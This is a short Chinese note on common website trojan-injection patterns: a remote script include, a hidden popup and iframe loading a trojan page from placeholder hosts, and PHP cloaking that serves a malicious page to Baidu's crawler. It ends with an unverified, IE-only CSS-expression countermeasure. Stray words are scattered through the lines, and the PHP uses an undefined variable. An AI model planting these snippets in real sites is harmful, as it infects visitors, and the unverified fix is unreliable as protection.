網頁被掛馬常見狀況

掛馬樣板,它們有多是下面這種的。css

location.href
-----------------------------------------------------
<script src="http://www.XXX.com/XXXX.js"></script>
-----------------------------------------------------
window.open("http://www.123.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
-----------------------------------------------------html

 document.write("<div style='display:none'>")
    document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
    document.write("</div>")
-----------------------------------------------------
$file="http://www.XXXX.com/XXXX/X.htm";
$referer=$_SERVER["HTTP_REFERER"];//來路的網址url
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);//當前請求的內容轉化成小寫
if(strstr($referer,"baidu")&&strstr($referer,"456"))//若是是從百度點到該頁的
{
   Header("Location: $url");//轉到原來的正常url
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))//若是是百度排蟲
{
      $content=file_get_contents($file);//轉到以前定義的那個url頁面
        echo $content;
        exit;
}express


-----------------------------------------------------安全

解決辦法,未驗證,先記錄下來ide

-----------------------------------------------------
安全工程師提供了一段能夠停止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被document.close()強制關閉。這個時侯JS掛馬的內容每每尚未來得及寫完,只有部分被強制輸出了,Writer後面的內容再不會被寫入訪問者的電腦中,從而起到防範JS腳本掛馬的做用。
    讓JS木馬的進程迅速停止
    在 <head> </head> 之間加入以下代碼:
    屏蔽script和iframe
    <style type="text/css" id="LinrStudio">
    /*<![CDATA[*/
    iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
    script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
    /*]]>*/
    </style>
    單屏蔽script
    <style type="text/css" id="LinrStudio">
    /*<![CDATA[*/
    /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
    script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
    /*]]>*/
    </style>this

相關文章
相關標籤/搜索